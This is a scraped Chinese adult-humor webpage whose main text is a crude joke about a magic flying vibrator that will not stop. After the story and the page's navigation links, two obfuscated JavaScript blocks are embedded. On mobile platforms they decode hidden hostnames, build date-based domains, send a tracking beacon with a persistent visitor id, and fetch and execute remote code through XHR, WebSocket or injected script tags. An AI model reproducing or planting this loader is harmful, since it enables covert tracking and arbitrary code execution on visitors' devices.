图片载入中

一支无敌按摩棒的故事

特大字】 【大字】 【中字】 【小字

一位富豪娶了一美娇娘

但是生意上的关系,富豪需要出国一星期!

富豪担心自己不在的这一星期魂老婆会因无法满足心理需求而去"讨客兄"!他灵机一动,想买一支"代替品"给老婆以填补她的空虚,于是去了一家情趣用品店…….

在店里逛了老半天,他所看到的都是一些很普通的按摩棒!

于是富豪就开口问老板:你有没有高级一点的按摩棒啊~?价钱不是问题!老板点了点头说:喔~有的,你请稍等一下!

说完就走到仓库里拿了个木盒出来!打开木盒是一支电动按摩棒!

富豪看了看说:这好像没什么特殊的嘛~!

老板笑了笑后,对着木盒里的这支按摩棒叫道:无敌按摩棒~笔筒!

话一说完,木盒里的按摩棒飞了起来,朝向笔筒狂抽起来………..

老板接着又说:无敌按摩棒~杯子!

按摩棒又飞过去向杯子猛插起来…………….

此时老板说了一声:无敌按摩棒~回木盒!

此话一出,按摩棒竟乖乖的飞回盒中!

富豪看了之后,心想:嘿嘿!有了这支,我不在的这一个星期,就没什么问题了!

于是将它买下,要踏出店门时,老板交代说:记得不用时要叫它回木盒喔!回到家中,富豪便操作一次给老婆看,并吩咐老婆不用时记得叫它回木盒!老婆点了点头,心里高兴非常!当天富豪便出国去了!

隔日…………..

老婆闲时突感空虚,想起了那支按摩棒,于是打开了木盒,叫了一声:无敌按摩棒~XX(消音了)!

此时按摩棒飞了出来,飞向那XX(消音了)狂抽猛送……………..就这样持续许久,老婆满足了,叫了一声:无敌按摩棒~停!

按摩棒却没停,还是继续……….

无敌按摩棒~够了!无敌按摩棒~可以了!无论老婆怎么试,按摩棒就是不停……….

老婆情急之下,赶快穿上衣服,跳上车要去找那家情趣用品店老板求救!一路上按摩棒还是继续在XX(消音了)进进出出,老婆实在已经快受不了啦………..

于是油门用力踩下去,狂飙……………

结果就被临检的警察拦截下来,警察挥了挥手,老婆停了下来,立即下了车!就开始跟警察说明原委……………..

警察听完之后,哈哈大笑的说:无敌按摩棒~"咖称"啦!你骗谁啊~~~


上一篇:夜半偷香

下一篇:大小通吃的大学女生


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};